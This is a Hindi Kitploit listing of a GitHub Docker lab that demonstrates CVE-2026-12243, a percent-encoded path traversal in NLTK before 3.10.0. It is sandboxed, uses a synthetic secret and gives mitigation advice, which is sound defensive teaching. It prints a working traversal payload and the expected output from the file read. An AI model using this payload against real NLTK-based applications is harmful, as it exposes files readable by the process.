Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2026-12243-NLTK-PoC — # CVE-2026-12243 प्रदर्शित करने वाला Docker लैब NLTK 3.10.0 से पहले के संस्करणों में पाथ ट्रैवर्सल (path traversal) दिखाने वाला Docker लैब, जो एक पृथक, ऑफ़लाइन वातावरण में एक सिंथेटिक गुप्त (synthetic secret) के साथ कमज़ोर और पैच किए गए व्यवहार की तुलना करता है। | Kitploit
उपकरण/GitHubGitHub/morzelowski/cve-2026-12243-nltk-poc
कंटेनर सुरक्षाभेद्यता विश्लेषणवेब सुरक्षालर्निंग और शिक्षालैब और अभ्यास
GitHubmorzelowski/cve-2026-12243-nltk-poc

CVE-2026-12243-NLTK-PoC

# CVE-2026-12243 प्रदर्शित करने वाला Docker लैब NLTK 3.10.0 से पहले के संस्करणों में पाथ ट्रैवर्सल (path traversal) दिखाने वाला Docker लैब, जो एक पृथक, ऑफ़लाइन वातावरण में एक सिंथेटिक गुप्त (synthetic secret) के साथ कमज़ोर और पैच किए गए व्यवहार की तुलना करता है।

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें
रिपॉजिटरी देखें
9घं 25मि पहलेअभी तक समीक्षित नहीं

CVE-2026-12243 — NLTK पाथ ट्रैवर्सल लैब

CVE NLTK Lab License

एक छोटा, पुनरुत्पादनीय Docker लैब जो NLTK 3.9.4 में प्रतिशत-एन्कोडेड पाथ ट्रैवर्सल व्यवहार की तुलना NLTK 3.10.0 में सुधारे गए व्यवहार से करता है।

कमजोर संस्करण URL डिकोडिंग से पहले संसाधन नाम को मान्य करता है। फिक्स्ड पेलोड %2e%2e/%2e%2e/outside/lab-secret.txt जांच पास करता है, बाद में ../../outside/lab-secret.txt में डिकोड होता है, और कॉन्फ़िगर किए गए NLTK डेटा निर्देशिका और प्रोसेस वर्किंग निर्देशिका दोनों से बाहर निकल जाता है। पैच किया गया संस्करण उसी इनपुट को अस्वीकार कर देता है।

[!CAUTION] यह रिपॉजिटरी केवल रक्षात्मक शिक्षा और अधिकृत परीक्षण के लिए है। यह लैब एक पृथक कंटेनर के अंदर एक निश्चित सिंथेटिक गुप्त फ़ाइल का उपयोग करता है। इसे उन सिस्टम या डेटा तक पहुँचने के लिए अनुकूलित न करें जिनके आप स्वामी नहीं हैं या जिनके परीक्षण की स्पष्ट अनुमति आपके पास नहीं है।

एक नज़र में

कंटेनरNLTK संस्करणअपेक्षित परिणाम
vulnerable3.9.4/lab/nltk_data के बाहर सिंथेटिक मार्कर पढ़ता है
patched3.10.0

कोई कॉर्पस डाउनलोड, सर्वर, पोर्ट, बाइंड माउंट, या रनटाइम इंटरनेट कनेक्शन उपयोग नहीं किया जाता है।

पूर्वापेक्षाएँ

  • Docker Engine या Docker Desktop
  • Docker Compose v2 (docker compose)
  • run.sh के लिए एक POSIX शेल

उपयोग

root@kitploit:~
git clone https://github.com/morzelowski/CVE-2026-12243-NLTK-PoC.git
cd CVE-2026-12243-NLTK-PoC
docker compose build
./run.sh

अपेक्षित परिणाम:

root@kitploit:~
=== Vulnerable image: NLTK 3.9.4 ===
NLTK version       : 3.9.4
Working directory  : /app
Configured data dir: /lab/nltk_data
Encoded resource   : %2e%2e/%2e%2e/outside/lab-secret.txt
Decoded resource   : ../../outside/lab-secret.txt
Resolved candidate : /outside/lab-secret.txt
NLTK warning       : Security Violation [pathsec.open]: Unauthorized path /outside/lab-secret.txt
NLTK result        : read 36 bytes
Synthetic marker   : CVE-2026-12243-SYNTHETIC-LAB-MARKER
[PASS] Traversal escaped the configured NLTK data directory.

=== Patched image: NLTK 3.10.0 ===
NLTK version       : 3.10.0
NLTK result        : blocked (ValueError: Unsafe resource path: '...')
[PASS] Patched version rejected the same encoded traversal.

Lab completed: traversal reproduced and patched rejection verified.

प्रभावित इमेज रिपोर्ट करती है कि /outside/lab-secret.txt अनधिकृत है लेकिन फिर भी इसकी सामग्री लौटाती है क्योंकि NLTK 3.9.4 डिफ़ॉल्ट रूप से केवल-चेतावनी पाथ सुरक्षा का उपयोग करता है। अपवाद और चेतावनी पाठ थोड़ा भिन्न हो सकता है; run.sh यह तय करने के लिए प्रोसेस एग्ज़िट स्टेटस का उपयोग करता है, न कि नाजुक टेक्स्ट मिलान का, यह तय करने के लिए कि प्रदर्शन सफल रहा या नहीं।

प्रदर्शन कैसे काम करता है

प्रत्येक इमेज में यह जानबूझकर अलग किया गया लेआउट होता है:

root@kitploit:~
/
├── app/
│   └── poc.py          # process CWD is /app
├── lab/
│   └── nltk_data/      # configured NLTK search root
└── outside/
    └── lab-secret.txt  # public synthetic marker

poc.py nltk.data.path को /lab/nltk_data से बदल देता है और फिक्स्ड संसाधन नाम %2e%2e/%2e%2e/outside/lab-secret.txt को nltk.data.load(..., format="raw") में पास करता है। प्रभावित रिलीज़ में, डिकोडिंग सत्यापन प्रवाह में बहुत देर से होती है:

root@kitploit:~
/lab/nltk_data
      ↓  ../../outside/lab-secret.txt
/outside/lab-secret.txt

क्योंकि वर्किंग निर्देशिका /app है, कैनरी प्रदर्शन के लिए महत्वपूर्ण दोनों स्थानों के बाहर है: /app और /lab/nltk_data।

स्क्रिप्ट में दो स्पष्ट अभिकथन हैं:

  1. NLTK 3.9.4 को ज्ञात सिंथेटिक मार्कर लौटाना चाहिए।
  2. NLTK 3.10.0 को ठीक उसी संसाधन नाम को अस्वीकार करना चाहिए।

कोई भी अन्य परिणाम गैर-शून्य के साथ बाहर निकलता है, इसलिए स्वचालित जाँचें झूठी सफलता की रिपोर्ट नहीं कर सकतीं।

सुरक्षा मॉडल

Compose कॉन्फ़िगरेशन जानबूझकर लैब को सीमित करता है:

  • network_mode: none किसी भी प्रदर्शन के चलने के दौरान नेटवर्किंग को अक्षम करता है।
  • कोई होस्ट पोर्ट प्रकाशित नहीं होते।
  • कोई होस्ट निर्देशिका या Docker सॉकेट माउंट नहीं होते।
  • कंटेनर एक अनविशेषाधिकार प्राप्त उपयोगकर्ता के रूप में चलते हैं जिसमें सभी Linux क्षमताएँ हटा दी जाती हैं और no-new-privileges सक्षम होता है।
  • रूट फाइलसिस्टम केवल-पठनीय है; केवल एक छोटा, noexec अस्थायी फाइलसिस्टम लिखने योग्य है।
  • एकमात्र प्रकट मान fixtures/lab-secret.txt है, एक सार्वजनिक परीक्षण मार्कर जो बिल्ड के दौरान इमेज में कॉपी किया जाता है।

इमेज बिल्ड को दो पिन किए गए NLTK संस्करणों को स्थापित करने के लिए पैकेज-इंडेक्स एक्सेस की आवश्यकता होती है। रनटाइम निष्पादन ऑफ़लाइन है।

तकनीकी विवरण

  • CVE: CVE-2026-12243
  • GHSA: GHSA-m42h-3232-vpv3
  • कमजोरी: CWE-22 — पाथ ट्रैवर्सल
  • प्रभावित: NLTK संस्करण 3.10.0 से पहले
  • सुधारित: NLTK 3.10.0
  • प्रभाव: उन फ़ाइलों का प्रकटीकरण जो एप्लिकेशन प्रोसेस द्वारा पठनीय हैं जब कोई हमलावर nltk.data.load() या nltk.data.find() को दिए गए संसाधन नाम को नियंत्रित करता है

लैब 3.9.4 को पिन करता है क्योंकि यह मूल रिपोर्ट में नामित ठोस रिलीज़ है और 3.10.0 क्योंकि यह मेंटेनर सलाहकार द्वारा दर्ज की गई पहली पैच रिलीज़ है।

शमन

NLTK को अपग्रेड करें और इसे अद्यतित रखें:

root@kitploit:~
python -m pip install "nltk>=3.10.0"

साथ ही फाइलसिस्टम-लोडिंग API में अविश्वसनीय संसाधन नाम पास करने से बचें। जहाँ उपयोगकर्ता चयन आवश्यक है, उपयोगकर्ता-सामना करने वाले पहचानकर्ताओं को एप्लिकेशन-स्वामित्व वाले संसाधनों की अनुमति सूची में मैप करें, न कि पाथ या URL को सीधे स्वीकार करें।

मैन्युअल कमांड

किसी भी पक्ष को स्वतंत्र रूप से चलाएँ:

root@kitploit:~
docker compose run --rm vulnerable
docker compose run --rm patched

पूरी तरह से हल किए गए Compose कॉन्फ़िगरेशन का निरीक्षण करें:

root@kitploit:~
docker compose config

स्थानीय रूप से निर्मित लैब इमेज हटाएँ:

root@kitploit:~
docker compose down --rmi local

समस्या निवारण

  • permission denied: ./run.sh — एक बार chmod +x run.sh चलाएँ।
  • docker: command not found — Docker Desktop या Docker Engine स्थापित करें।
  • बिल्ड के दौरान पैकेज डाउनलोड त्रुटियाँ — पुष्टि करें कि Docker के पास बिल्ड के लिए अस्थायी आउटबाउंड एक्सेस है, फिर docker compose build --no-cache पुनः प्रयास करें।

संदर्भ

  • GitHub मेंटेनर सलाहकार GHSA-m42h-3232-vpv3
  • CVE-2026-12243 के लिए NVD प्रविष्टि
  • मूल NLTK मुद्दा #3504
  • NLTK फिक्स पुल रिक्वेस्ट #3522
  • फिक्स कमिट aec4fce

लाइसेंस

MIT लाइसेंस के तहत जारी किया गया।

टूल डाउनलोड करें
एन्कोडेड ट्रैवर्सल को ब्लॉक करता है